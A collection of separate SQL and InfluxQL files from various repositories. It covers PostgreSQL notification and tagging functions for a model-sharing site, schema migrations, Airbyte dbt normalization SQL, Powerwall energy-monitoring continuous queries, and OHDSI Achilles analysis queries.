'GroupApplicationAccepted' THEN gapplication.idMember WHEN notification.nottype = 'FriendshipInvite' THEN fInvite.idSender WHEN notification.nottype = 'FriendshipInviteAccepted' THEN fInvite.idReceiver END) AS idMember, model.name AS modelName, model.description AS modelDescription, (CASE WHEN notification.nottype = 'FriendshipInvite' OR notification.nottype = 'FriendshipInviteAccepted' THEN fInvite.accepted WHEN notification.nottype = 'GroupInvite' OR notification.nottype = 'GroupInviteAccepted' THEN gInvite.accepted WHEN notification.nottype = 'GroupApplication' OR notification.nottype = 'GroupApplicationAccepted' THEN gApplication.accepted ELSE NULL END) AS accepted, (CASE WHEN notification.nottype = 'GroupInvite' OR notification.nottype = 'GroupInviteAccepted' THEN gInvite.idGroup WHEN notification.nottype = 'GroupApplication' OR notification.nottype = 'GroupApplicationAccepted' THEN gapplication.idGroup ELSE NULL END) AS idGroup FROM get_member_notifications($1, $2, $3) AS notification LEFT JOIN (SELECT * FROM model) AS model on idmodel = model.id LEFT JOIN (SELECT * FROM friendshipinvite) as fInvite on idfriendshipinvite = fInvite.id LEFT JOIN (SELECT * FROM groupinvite) as gInvite on idgroupinvite = gInvite.id LEFT JOIN (SELECT * FROM groupapplication) as gapplication on idgroupapplication = gapplication.id) AS q JOIN registeredUser ON idMember = registeredUser.id LEFT JOIN tgroup ON idGroup = tgroup.id; $BODY$ LANGUAGE sql VOLATILE; -- List the newest group notifications within a given range -- CREATE OR REPLACE FUNCTION get_group_notifications(groupId BIGINT, oldest_date_limit TIMESTAMP, max_notifications_limit INTEGER) RETURNS TABLE(idNotification BIGINT, notType notification_type, idFriendshipInvite BIGINT, idGroupApplication BIGINT, idGroupInvite BIGINT, idModel BIGINT, createDate TIMESTAMP) AS $$ SELECT Notification.id, Notification.notificationType, Notification.idFriendshipInvite, Notification.idGroupApplication, Notification.idGroupInvite, Notification.idModel, Notification.createDate FROM Notification JOIN GroupNotification ON GroupNotification.idGroup = $1 AND GroupNotification.idNotification = Notification.id WHERE createDate >= $2 ORDER BY createDate DESC LIMIT $3 $$ LANGUAGE SQL; -- List the newest group notifications within a given range with the required data -- CREATE OR REPLACE FUNCTION get_complete_group_notifications (groupId BIGINT, oldest_date_limit TIMESTAMP, max_notifications_limit INTEGER) RETURNS TABLE(idNotification BIGINT, notType notification_type, idFriendshipInvite BIGINT, idGroupApplication BIGINT, idGroupInvite BIGINT, idModel BIGINT, createDate TIMESTAMP, idMember BIGINT, modelName VARCHAR(70), modelDescription VARCHAR(1024), accepted BOOLEAN, idGroup BIGINT, idSender BIGINT, username VARCHAR(20), hash TEXT, senderUsername VARCHAR(20)) AS $BODY$ SELECT q.*, registeredUser.username, get_user_hash(idMember), senderUser.username AS senderUsername FROM (SELECT notification.*, (CASE WHEN notification.nottype = 'Publication' THEN model.idAuthor WHEN notification.nottype = 'GroupInvite' THEN gInvite.idReceiver WHEN notification.nottype = 'GroupInviteAccepted' THEN gInvite.idReceiver WHEN notification.nottype = 'GroupApplication' OR notification.nottype = 'GroupApplicationAccepted' THEN gapplication.idMember WHEN notification.nottype = 'FriendshipInvite' THEN fInvite.idSender WHEN notification.nottype = 'FriendshipInviteAccepted' THEN fInvite.idReceiver END) AS idMember, model.name, model.description, (CASE WHEN notification.nottype = 'FriendshipInvite' OR notification.nottype = 'FriendshipInviteAccepted' THEN fInvite.accepted WHEN notification.nottype = 'GroupInvite' OR notification.nottype = 'GroupInviteAccepted' THEN gInvite.accepted WHEN notification.nottype = 'GroupApplication' OR notification.nottype = 'GroupApplicationAccepted' THEN gApplication.accepted ELSE NULL END) AS accepted, (CASE WHEN notification.nottype = 'GroupInvite' OR notification.nottype = 'GroupInviteAccepted' THEN gInvite.idGroup WHEN notification.nottype = 'GroupApplication' OR notification.nottype = 'GroupApplicationAccepted' THEN gapplication.idGroup ELSE NULL END) AS idGroup, (CASE WHEN notification.nottype = 'GroupInvite' THEN gInvite.idSender WHEN notification.nottype = 'GroupInviteAccepted' THEN gInvite.idSender END) AS idSender FROM get_group_notifications($1, $2, $3) AS notification LEFT JOIN model on idmodel = model.id LEFT JOIN friendshipinvite as fInvite on idfriendshipinvite = fInvite.id LEFT JOIN groupinvite as gInvite on idgroupinvite = gInvite.id LEFT JOIN groupapplication as gapplication on idgroupapplication = gapplication.id) AS q JOIN registeredUser ON idMember = registeredUser.id LEFT JOIN registeredUser AS senderUser ON idSender = senderUser.id; $BODY$ LANGUAGE sql VOLATILE; -- List the newest publications for a particular member -- CREATE OR REPLACE FUNCTION get_model(memberId BIGINT, oldest_date_limit TIMESTAMP, max_notifications_limit INTEGER) RETURNS TABLE(idModel BIGINT) AS $$ SELECT Model.id FROM Model WHERE Model.createDate < $2 AND (visibility = 'public' OR (visibility = 'friends' AND $1 IN (SELECT friendId FROM get_friends_of_member(Model.idAuthor)))) LIMIT $3 $$ LANGUAGE SQL; -- Get Model Information -- CREATE OR REPLACE FUNCTION get_model_info(modelId BIGINT) RETURNS TABLE(idAuthor BIGINT, nameAuthor VARCHAR(70), name VARCHAR(70), description VARCHAR(255), fileName VARCHAR(255), userFileName VARCHAR(255), createDate TIMESTAMP, numUpVotes BIGINT, numDownVotes BIGINT) AS $$ SELECT model_info.idAuthor, Member.name AS nameAuthor, model_info.name, model_info.description, model_info.fileName, model_info.userFileName, model_info.createDate, model_info.numUpVotes, model_info.numDownVotes FROM model_info JOIN Member ON model_info.idAuthor = Member.id WHERE model_info.id = $1 $$ LANGUAGE SQL; CREATE OR REPLACE FUNCTION get_model_info(userId BIGINT, modelId BIGINT) RETURNS TABLE(idAuthor BIGINT, nameAuthor VARCHAR(70), name VARCHAR(70), description VARCHAR(255), fileName VARCHAR(255), userFileName VARCHAR(255), createDate TIMESTAMP, numUpVotes BIGINT, numDownVotes BIGINT) AS $$ BEGIN IF ($2 IN (SELECT * FROM get_all_visibile_models($1))) THEN RETURN QUERY SELECT * FROM get_model_info($2); ELSE RAISE EXCEPTION 'User % does not have permission to access model %.', $1, $2; END IF; END; $$ LANGUAGE PLPGSQL; -- Get Model Comments -- CREATE OR REPLACE FUNCTION get_model_comments(modelId BIGINT) RETURNS TABLE(id BIGINT, idMember BIGINT, name VARCHAR(70), hash TEXT, content VARCHAR(255), createDate TIMESTAMP) as $$ SELECT TComment.id, TComment.idMember, Member.name, get_user_hash(Member.id) AS hash, TComment.content, TComment.createDate FROM TComment JOIN Model ON Model.id = $1 JOIN Member ON Member.id = TComment.idMember JOIN RegisteredUser ON Member.id = RegisteredUser.id WHERE TComment.idmodel = $1 AND TComment.deleted = false ORDER BY TComment.createDate DESC $$ LANGUAGE SQL; CREATE OR REPLACE FUNCTION get_model_comments(userId BIGINT, modelId BIGINT) RETURNS TABLE(idMember BIGINT, name VARCHAR(70), email VARCHAR(254), content VARCHAR(255), createDate TIMESTAMP) as $$ BEGIN IF ($2 IN (SELECT * FROM get_all_visibile_models($1))) THEN RETURN QUERY SELECT * FROM get_model_comments($2); ELSE RAISE EXCEPTION 'User % does not have permission to access model % comments.', $1, $2; END IF; END; $$ LANGUAGE PLPGSQL; CREATE OR REPLACE FUNCTION get_group_profile(memberId BIGINT, groupId BIGINT) RETURNS TABLE(name VARCHAR(70), about VARCHAR(255), avatarImg VARCHAR(255), coverImg VARCHAR(255)) AS $$ BEGIN IF ('public' NOT IN (SELECT TGroup.visibility FROM TGroup WHERE TGroup.id = $2) AND $1 NOT IN (SELECT GroupUser.idMember FROM GroupUser WHERE GroupUser.idGroup = $2) AND $1 NOT IN (SELECT RegisteredUser.id FROM RegisteredUser WHERE RegisteredUser.id = $1 AND RegisteredUser.isAdmin = TRUE)) THEN RAISE EXCEPTION 'User % does not have permission to access group % profile.', $1, $2; ELSE RETURN QUERY SELECT TGroup.name, TGroup.about, TGroup.avatarImg, TGroup.coverImg FROM TGroup WHERE TGroup.id = $2 AND TGroup.deleteDate IS NULL; END IF; END; $$ LANGUAGE PLPGSQL; ----------- -- Views -- ----------- CREATE OR REPLACE VIEW user_tags AS SELECT UserInterest.idMember AS idMember, Tag.name AS name FROM UserInterest INNER JOIN Tag ON Tag.id = UserInterest.idTag; CREATE OR REPLACE FUNCTION insert_on_user_tags_view() RETURNS TRIGGER AS $$ DECLARE tagid BIGINT; BEGIN IF NOT EXISTS(SELECT 1 FROM Tag WHERE Tag.name = NEW.name LIMIT 1) THEN INSERT INTO Tag (name) VALUES (NEW.name) RETURNING Tag.id INTO tagid; ELSE SELECT Tag.id INTO tagid FROM Tag WHERE Tag.name = NEW.name LIMIT 1; END IF; INSERT INTO UserInterest (idMember, idTag) SELECT NEW.idMember, tagid WHERE NOT EXISTS (SELECT 1 FROM UserInterest WHERE UserInterest.idMember= NEW.idMember AND UserInterest.idTag = tagid); RETURN NEW; END; $$ LANGUAGE plpgsql; DROP TRIGGER IF EXISTS insert_on_user_tags_view_trigger ON user_tags; CREATE TRIGGER insert_on_user_tags_view_trigger INSTEAD OF INSERT ON user_tags FOR EACH ROW EXECUTE PROCEDURE insert_on_user_tags_view(); CREATE OR REPLACE FUNCTION delete_from_user_tags_view() RETURNS TRIGGER AS $$ DECLARE tagid BIGINT; BEGIN SELECT Tag.id INTO tagid FROM Tag WHERE Tag.name = OLD.name LIMIT 1; DELETE FROM UserInterest WHERE UserInterest.idMember = OLD.idMember AND UserInterest.idTag = tagid; RETURN NEW; END; $$ LANGUAGE plpgsql; DROP TRIGGER IF EXISTS delete_from_user_tags_view_trigger ON user_tags; CREATE TRIGGER delete_from_user_tags_view_trigger INSTEAD OF DELETE ON user_tags FOR EACH ROW EXECUTE PROCEDURE delete_from_user_tags_view(); CREATE OR REPLACE VIEW model_tags AS SELECT ModelTag.idModel AS idModel, Tag.name AS name FROM ModelTag INNER JOIN Tag ON Tag.id = ModelTag.idTag; CREATE OR REPLACE FUNCTION insert_on_model_tags_view() RETURNS TRIGGER AS $$ DECLARE tagid BIGINT; BEGIN IF NOT EXISTS(SELECT 1 FROM Tag WHERE Tag.name = NEW.name LIMIT 1) THEN INSERT INTO Tag (name) VALUES (NEW.name) RETURNING Tag.id INTO tagid; ELSE SELECT Tag.id INTO tagid FROM Tag WHERE Tag.name = NEW.name LIMIT 1; END IF; INSERT INTO ModelTag (idModel, idTag) SELECT NEW.idModel, tagid WHERE NOT EXISTS (SELECT 1 FROM ModelTag WHERE ModelTag.idModel= NEW.idModel AND ModelTag.idTag = tagid); RETURN NEW; END; $$ LANGUAGE plpgsql; DROP TRIGGER IF EXISTS insert_on_model_tags_view_trigger ON model_tags; CREATE TRIGGER insert_on_model_tags_view_trigger INSTEAD OF INSERT ON model_tags FOR EACH ROW EXECUTE PROCEDURE insert_on_model_tags_view(); CREATE OR REPLACE FUNCTION delete_from_model_tags_view() RETURNS TRIGGER AS $$ DECLARE tagid BIGINT; BEGIN SELECT Tag.id INTO tagid FROM TAG WHERE Tag.name = OLD.name LIMIT 1; DELETE FROM ModelTag WHERE ModelTag.idModel = OLD.idModel AND ModelTag.idTag = tagid; RETURN NEW; END; $$ LANGUAGE plpgsql; DROP TRIGGER IF EXISTS delete_from_model_tags_view_trigger ON model_tags; CREATE TRIGGER delete_from_model_tags_view_trigger INSTEAD OF DELETE ON model_tags FOR EACH ROW EXECUTE PROCEDURE delete_from_model_tags_view(); -- CREATE OR REPLACE FUNCTION add_member(_userName VARCHAR(20), _passwordHash VARCHAR(64), _email VARCHAR(254), _name VARCHAR(70), _about VARCHAR(255), _birthDate DATE) RETURNS void AS $$ DECLARE registeredUserId BIGINT; BEGIN INSERT INTO RegisteredUser(userName, passwordHash, email, isAdmin) VALUES ($1, $2, $3, false) RETURNING id INTO registeredUserId; INSERT INTO Member(id, name, about, birthDate) VALUES (registeredUserId, $4, $5, $6); END; $$ LANGUAGE PLPGSQL; CREATE OR REPLACE FUNCTION add_administrator(_userName VARCHAR(20), _passwordHash VARCHAR(64), _email VARCHAR(254)) RETURNS void AS $$ BEGIN INSERT INTO RegisteredUser(userName, passwordHash, email, isAdmin) VALUES ($1, $2, $3, true); END; $$ LANGUAGE PLPGSQL;
-- CreateTable CREATE TABLE "User" ( "id" SERIAL NOT NULL, "email" TEXT, "password" TEXT, "createdAt" TIMESTAMP(3), "updatedAt" TIMESTAMP(3), PRIMARY KEY ("id") ); -- CreateTable CREATE TABLE "Post" ( "id" SERIAL NOT NULL, "title" TEXT, "body" TEXT NOT NULL, "authorId" INTEGER, "createdAt" TIMESTAMP(3), "updatedAt" TIMESTAMP(3), PRIMARY KEY ("id") ); -- CreateIndex CREATE UNIQUE INDEX "User.email_unique" ON "User"("email"); -- AddForeignKey ALTER TABLE "Post" ADD FOREIGN KEY ("authorId") REFERENCES "User"("id") ON DELETE SET NULL ON UPDATE CASCADE;
SET DEFINE OFF; ALTER TABLE AFW_13_ETAPE_TUTRL ADD ( CONSTRAINT AFW_13_ETAPE_TUTRL_FK6 FOREIGN KEY (REF_PAGE) REFERENCES AFW_13_PAGE (SEQNC) ON DELETE CASCADE ENABLE VALIDATE) /
create table test_normalization.nested_stream_with_complex_columns_resulting_into_long_names_partition_double_array_data__dbt_tmp as with dbt__cte__nested_stream_with_complex_columns_resulting_into_long_names_partition_double_array_data_ab1__ as ( -- SQL model to parse JSON blob stored in a single column and extract into separated field columns as described by the JSON Schema select "_AIRBYTE_PARTITION_HASHID", json_value(double_array_data, '$."id"') as id, "_AIRBYTE_EMITTED_AT" from test_normalization.nested_stream_with_complex_columns_resulting_into_long_names_partition where double_array_data is not null -- double_array_data at nested_stream_with_complex_columns_resulting_into_long_names/partition/double_array_data ), dbt__cte__nested_stream_with_complex_columns_resulting_into_long_names_partition_double_array_data_ab2__ as ( -- SQL model to cast each column to its adequate SQL type converted from the JSON schema type select "_AIRBYTE_PARTITION_HASHID", cast(id as varchar2(4000)) as id, "_AIRBYTE_EMITTED_AT" from dbt__cte__nested_stream_with_complex_columns_resulting_into_long_names_partition_double_array_data_ab1__ -- double_array_data at nested_stream_with_complex_columns_resulting_into_long_names/partition/double_array_data ), dbt__cte__nested_stream_with_complex_columns_resulting_into_long_names_partition_double_array_data_ab3__ as ( -- SQL model to build a hash column based on the values of this record select ora_hash( "_AIRBYTE_PARTITION_HASHID" || '~' || id ) as "_AIRBYTE_DOUBLE_ARRAY_DATA_HASHID", tmp.* from dbt__cte__nested_stream_with_complex_columns_resulting_into_long_names_partition_double_array_data_ab2__ tmp -- double_array_data at nested_stream_with_complex_columns_resulting_into_long_names/partition/double_array_data )-- Final base SQL model select "_AIRBYTE_PARTITION_HASHID", id, "_AIRBYTE_EMITTED_AT", "_AIRBYTE_DOUBLE_ARRAY_DATA_HASHID" from dbt__cte__nested_stream_with_complex_columns_resulting_into_long_names_partition_double_array_data_ab3__ -- double_array_data at nested_stream_with_complex_columns_resulting_into_long_names/partition/double_array_data from test_normalization.nested_stream_with_complex_columns_resulting_into_long_names_partition
<reponame>Shuttl-Tech/antlr_psql -- file:plpgsql.sql ln:3806 expect:false exception WHEN OTHERS THEN i := (SELECT 1::integer)
# DDL # USE powerwall CREATE DATABASE powerwall CREATE RETENTION POLICY raw ON powerwall duration 3d replication 1 ALTER RETENTION POLICY autogen ON powerwall duration 0s CREATE RETENTION POLICY strings ON powerwall duration 0s replication 1 CREATE RETENTION POLICY pwtemps ON powerwall duration 0s replication 1 CREATE RETENTION POLICY vitals ON powerwall duration 0s replication 1 CREATE RETENTION POLICY kwh ON powerwall duration INF replication 1 CREATE RETENTION POLICY daily ON powerwall duration INF replication 1 CREATE RETENTION POLICY monthly ON powerwall duration INF replication 1 CREATE CONTINUOUS QUERY cq_autogen ON powerwall BEGIN SELECT mean(home) AS home, mean(solar) AS solar, mean(from_pw) AS from_pw, mean(to_pw) AS to_pw, mean(from_grid) AS from_grid, mean(to_grid) AS to_grid, last(percentage) AS percentage INTO powerwall.autogen.:MEASUREMENT FROM (SELECT load_instant_power AS home, solar_instant_power AS solar, abs((1+battery_instant_power/abs(battery_instant_power))*battery_instant_power/2) AS from_pw, abs((1-battery_instant_power/abs(battery_instant_power))*battery_instant_power/2) AS to_pw, abs((1+site_instant_power/abs(site_instant_power))*site_instant_power/2) AS from_grid, abs((1-site_instant_power/abs(site_instant_power))*site_instant_power/2) AS to_grid, percentage FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_kwh ON powerwall RESAMPLE EVERY 1m BEGIN SELECT integral(home)/1000/3600 AS home, integral(solar)/1000/3600 AS solar, integral(from_pw)/1000/3600 AS from_pw, integral(to_pw)/1000/3600 AS to_pw, integral(from_grid)/1000/3600 AS from_grid, integral(to_grid)/1000/3600 AS to_grid INTO powerwall.kwh.:MEASUREMENT FROM autogen.http GROUP BY time(1h), month, year tz('America/Los_Angeles') END CREATE CONTINUOUS QUERY cq_daily ON powerwall RESAMPLE EVERY 1h BEGIN SELECT sum(home) AS home, sum(solar) AS solar, sum(from_pw) AS from_pw, sum(to_pw) AS to_pw, sum(from_grid) AS from_grid, sum(to_grid) AS to_grid INTO powerwall.daily.:MEASUREMENT FROM powerwall.kwh.http GROUP BY time(1d), month, year tz('America/Los_Angeles') END CREATE CONTINUOUS QUERY cq_monthly ON powerwall RESAMPLE EVERY 1h BEGIN SELECT sum(home) AS home, sum(solar) AS solar, sum(from_pw) AS from_pw, sum(to_pw) AS to_pw, sum(from_grid) AS from_grid, sum(to_grid) AS to_grid INTO powerwall.monthly.:MEASUREMENT FROM powerwall.daily.http GROUP BY time(365d), month, year END CREATE CONTINUOUS QUERY cq_pw_temps ON powerwall BEGIN SELECT mean(PW1_temp) AS PW1_temp, mean(PW2_temp) AS PW2_temp, mean(PW3_temp) AS PW3_temp, mean(PW4_temp) AS PW4_temp, mean(PW5_temp) AS PW5_temp, mean(PW6_temp) AS PW6_temp INTO powerwall.pwtemps.:MEASUREMENT FROM (SELECT PW1_temp, PW2_temp, PW3_temp, PW4_temp, PW5_temp, PW6_temp FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_strings ON powerwall BEGIN SELECT mean(A_Current) AS A_Current, mean(A_Power) AS A_Power, mean(A_Voltage) AS A_Voltage, mean(B_Current) AS B_Current, mean(B_Power) AS B_Power, mean(B_Voltage) AS B_Voltage, mean(C_Current) AS C_Current, mean(C_Power) AS C_Power, mean(C_Voltage) AS C_Voltage, mean(D_Current) AS D_Current, mean(D_Power) AS D_Power, mean(D_Voltage) AS D_Voltage INTO powerwall.strings.:MEASUREMENT FROM (SELECT A_Current, A_Power, A_Voltage, B_Current, B_Power, B_Voltage, C_Current, C_Power, C_Voltage, D_Current, D_Power, D_Voltage FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_strings1 ON powerwall BEGIN SELECT mean(A1_Current) AS A1_Current, mean(A1_Power) AS A1_Power, mean(A1_Voltage) AS A1_Voltage, mean(B1_Current) AS B1_Current, mean(B1_Power) AS B1_Power, mean(B1_Voltage) AS B1_Voltage, mean(C1_Current) AS C1_Current, mean(C1_Power) AS C1_Power, mean(C1_Voltage) AS C1_Voltage, mean(D1_Current) AS D1_Current, mean(D1_Power) AS D1_Power, mean(D1_Voltage) AS D1_Voltage INTO powerwall.strings.:MEASUREMENT FROM (SELECT A1_Current, A1_Power, A1_Voltage, B1_Current, B1_Power, B1_Voltage, C1_Current, C1_Power, C1_Voltage, D1_Current, D1_Power, D1_Voltage FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_strings2 ON powerwall BEGIN SELECT mean(A2_Current) AS A2_Current, mean(A2_Power) AS A2_Power, mean(A2_Voltage) AS A2_Voltage, mean(B2_Current) AS B2_Current, mean(B2_Power) AS B2_Power, mean(B2_Voltage) AS B2_Voltage, mean(C2_Current) AS C2_Current, mean(C2_Power) AS C2_Power, mean(C2_Voltage) AS C2_Voltage, mean(D2_Current) AS D2_Current, mean(D2_Power) AS D2_Power, mean(D2_Voltage) AS D2_Voltage INTO powerwall.strings.:MEASUREMENT FROM (SELECT A2_Current, A2_Power, A2_Voltage, B2_Current, B2_Power, B2_Voltage, C2_Current, C2_Power, C2_Voltage, D2_Current, D2_Power, D2_Voltage FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_strings3 ON powerwall BEGIN SELECT mean(A3_Current) AS A3_Current, mean(A3_Power) AS A3_Power, mean(A3_Voltage) AS A3_Voltage, mean(B3_Current) AS B3_Current, mean(B3_Power) AS B3_Power, mean(B3_Voltage) AS B3_Voltage, mean(C3_Current) AS C3_Current, mean(C3_Power) AS C3_Power, mean(C3_Voltage) AS C3_Voltage, mean(D3_Current) AS D3_Current, mean(D3_Power) AS D3_Power, mean(D3_Voltage) AS D3_Voltage INTO powerwall.strings.:MEASUREMENT FROM (SELECT A3_Current, A3_Power, A3_Voltage, B3_Current, B3_Power, B3_Voltage, C3_Current, C3_Power, C3_Voltage, D3_Current, D3_Power, D3_Voltage FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_inverters ON powerwall BEGIN SELECT mean(Inverter1) AS Inverter1, mean(Inverter2) AS Inverter2, mean(Inverter3) AS Inverter3, mean(Inverter4) AS Inverter4 INTO powerwall.strings.:MEASUREMENT FROM (SELECT A_Power+B_Power+C_Power+D_Power AS Inverter1, A1_Power+B1_Power+C1_Power+D1_Power AS Inverter2, A2_Power+B2_Power+C2_Power+D2_Power AS Inverter3, A3_Power+B3_Power+C3_Power+D3_Power AS Inverter4 FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_vitals1 ON powerwall BEGIN SELECT mean(PW1_PINV_Fout) AS PW1_PINV_Fout, mean(PW2_PINV_Fout) AS PW2_PINV_Fout, mean(PW3_PINV_Fout) AS PW3_PINV_Fout, mean(PW4_PINV_Fout) AS PW4_PINV_Fout, mean(PW5_PINV_Fout) AS PW5_PINV_Fout, mean(PW6_PINV_Fout) AS PW6_PINV_Fout INTO powerwall.vitals.:MEASUREMENT FROM (SELECT PW1_PINV_Fout, PW2_PINV_Fout, PW3_PINV_Fout, PW4_PINV_Fout, PW5_PINV_Fout, PW6_PINV_Fout FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_vitals2 ON powerwall BEGIN SELECT mean(ISLAND_FreqL1_Load) AS ISLAND_FreqL1_Load, mean(ISLAND_FreqL2_Load) AS ISLAND_FreqL2_Load, mean(ISLAND_FreqL3_Load) AS ISLAND_FreqL3_Load, mean(ISLAND_FreqL1_Main) AS ISLAND_FreqL1_Main, mean(ISLAND_FreqL2_Main) AS ISLAND_FreqL2_Main, mean(ISLAND_FreqL3_Main) AS ISLAND_FreqL3_Main INTO powerwall.vitals.:MEASUREMENT FROM (SELECT ISLAND_FreqL1_Load, ISLAND_FreqL2_Load, ISLAND_FreqL3_Load, ISLAND_FreqL1_Main, ISLAND_FreqL2_Main, ISLAND_FreqL3_Main FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_vitals3 ON powerwall BEGIN SELECT mean(ISLAND_VL1N_Load) AS ISLAND_VL1N_Load, mean(ISLAND_VL2N_Load) AS ISLAND_VL2N_Load, mean(ISLAND_VL3N_Load) AS ISLAND_VL3N_Load, mean(METER_X_VL1N) AS METER_X_VL1N, mean(METER_X_VL2N) AS METER_X_VL2N, mean(METER_X_VL3N) AS METER_X_VL3N INTO powerwall.vitals.:MEASUREMENT FROM (SELECT ISLAND_VL1N_Load, ISLAND_VL2N_Load, ISLAND_VL3N_Load, METER_X_VL1N, METER_X_VL2N, METER_X_VL3N FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_vitals4 ON powerwall BEGIN SELECT mean(PW1_PINV_VSplit1) AS PW1_PINV_VSplit1, mean(PW2_PINV_VSplit1) AS PW2_PINV_VSplit1, mean(PW3_PINV_VSplit1) AS PW3_PINV_VSplit1, mean(PW4_PINV_VSplit1) AS PW4_PINV_VSplit1, mean(PW5_PINV_VSplit1) AS PW5_PINV_VSplit1, mean(PW6_PINV_VSplit1) AS PW6_PINV_VSplit1 INTO powerwall.vitals.:MEASUREMENT FROM (SELECT PW1_PINV_VSplit1, PW2_PINV_VSplit1, PW3_PINV_VSplit1, PW4_PINV_VSplit1, PW5_PINV_VSplit1, PW6_PINV_VSplit1 FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_vitals5 ON powerwall BEGIN SELECT mean(PW1_PINV_VSplit2) AS PW1_PINV_VSplit2, mean(PW2_PINV_VSplit2) AS PW2_PINV_VSplit2, mean(PW3_PINV_VSplit2) AS PW3_PINV_VSplit2, mean(PW4_PINV_VSplit2) AS PW4_PINV_VSplit2, mean(PW5_PINV_VSplit2) AS PW5_PINV_VSplit2, mean(PW6_PINV_VSplit2) AS PW6_PINV_VSplit2 INTO powerwall.vitals.:MEASUREMENT FROM (SELECT PW1_PINV_VSplit2, PW2_PINV_VSplit2, PW3_PINV_VSplit2, PW4_PINV_VSplit2, PW5_PINV_VSplit2, PW6_PINV_VSplit2 FROM raw.http) GROUP BY time(1m), month, year fill(linear) END CREATE CONTINUOUS QUERY cq_vitals6 ON powerwall BEGIN SELECT mean(METER_Z_VL1G) AS METER_Z_VL1G, mean(METER_Z_VL2G) AS METER_Z_VL2G, mean(METER_Z_CTA_I) AS METER_Z_CTA_I, mean(METER_Z_CTB_I) AS METER_Z_CTB_I INTO powerwall.vitals.:MEASUREMENT FROM (SELECT METER_Z_VL1G, METER_Z_VL2G, METER_Z_CTA_I, METER_Z_CTB_I FROM raw.http) GROUP BY time(1m), month, year fill(linear) END
BEGIN; CREATE TABLE IF NOT EXISTS posts ( id UUID PRIMARY KEY, slug TEXT UNIQUE NOT NULL, title TEXT NOT NULL, body TEXT NOT NULL, author TEXT NOT NULL, created_at TIMESTAMP WITH TIME ZONE NOT NULL, updated_at TIMESTAMP WITH TIME ZONE NOT NULL ); COMMIT;
<reponame>scossin/Achilles -- 1300 Number of persons with at least one visit detail, by visit_detail_concept_id -- restricted to visits overlapping with observation period --HINT DISTRIBUTE_ON_KEY(stratum_1) SELECT 1300 AS analysis_id, CAST(vd.visit_detail_concept_id AS VARCHAR(255)) AS stratum_1, CAST(NULL AS VARCHAR(255)) AS stratum_2, CAST(NULL AS VARCHAR(255)) AS stratum_3, CAST(NULL AS VARCHAR(255)) AS stratum_4, CAST(NULL AS VARCHAR(255)) AS stratum_5, COUNT_BIG(DISTINCT vd.person_id) AS count_value INTO @scratchDatabaseSchema@schemaDelim@tempAchillesPrefix_1300 FROM @cdmDatabaseSchema.visit_detail vd JOIN @cdmDatabaseSchema.observation_period op ON vd.person_id = op.person_id AND vd.visit_detail_start_date >= op.observation_period_start_date AND vd.visit_detail_start_date <= op.observation_period_end_date GROUP BY vd.visit_detail_concept_id ;
CREATE TABLE ENVIRONMENT ( id int not null auto_increment, name text not null, state text, environment_type text, primary key (id) ); CREATE TABLE ENVIRONMENT_VIRTUAL_BOX ( environment_id int not null, snapshot text, priority int default 1, primary key (environment_id), constraint fk_environment foreign key (environment_id) references ENVIRONMENT(id) );
<reponame>yczhang1017/ldbc_snb_bi SELECT tagName AS 'tag:STRING' FROM ( SELECT tagName, frequency AS freq, abs(frequency - (SELECT percentile_disc(0.88) WITHIN GROUP (ORDER BY frequency) FROM tagNumMessages)) AS diff FROM tagNumMessages ORDER BY diff, tagName LIMIT 400 ) ORDER BY md5(tagName)
<reponame>brunexmg/saude<filename>src/main/resources/db/migration/V09__add_user_admin.sql insert into usuario values('<EMAIL>','$2<PASSWORD>',3);
<reponame>duo8668/ConfOrg<filename>team/sqlscripts/thomas/invoice.sql CREATE TABLE `invoice` ( `invoice_id` int(11) NOT NULL AUTO_INCREMENT, `user_id` int(11) NOT NULL, `conf_id` int(11) NOT NULL, `descrption` varchar(500) COLLATE utf8_unicode_ci DEFAULT NULL, `amount` int(3) NOT NULL, `price` float NOT NULL, `created_by` int(11) NOT NULL, `modified_by` int(11) DEFAULT NULL, `created_at` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP, `updated_at` datetime DEFAULT NULL, PRIMARY KEY (`invoice_id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
<reponame>apid/apidApigeeSync -- Copyright 2017 Google Inc. -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. -- noinspection SqlDialectInspectionForFile -- noinspection SqlNoDataSourceInspectionForFile SET statement_timeout = 0; SET lock_timeout = 0; SET client_encoding = 'UTF8'; SET standard_conforming_strings = on; SET check_function_bodies = false; SET client_min_messages = warning; SET row_security = off; CREATE DATABASE edgex WITH TEMPLATE = template0 ENCODING = 'UTF8'; ALTER DATABASE edgex OWNER TO postgres;
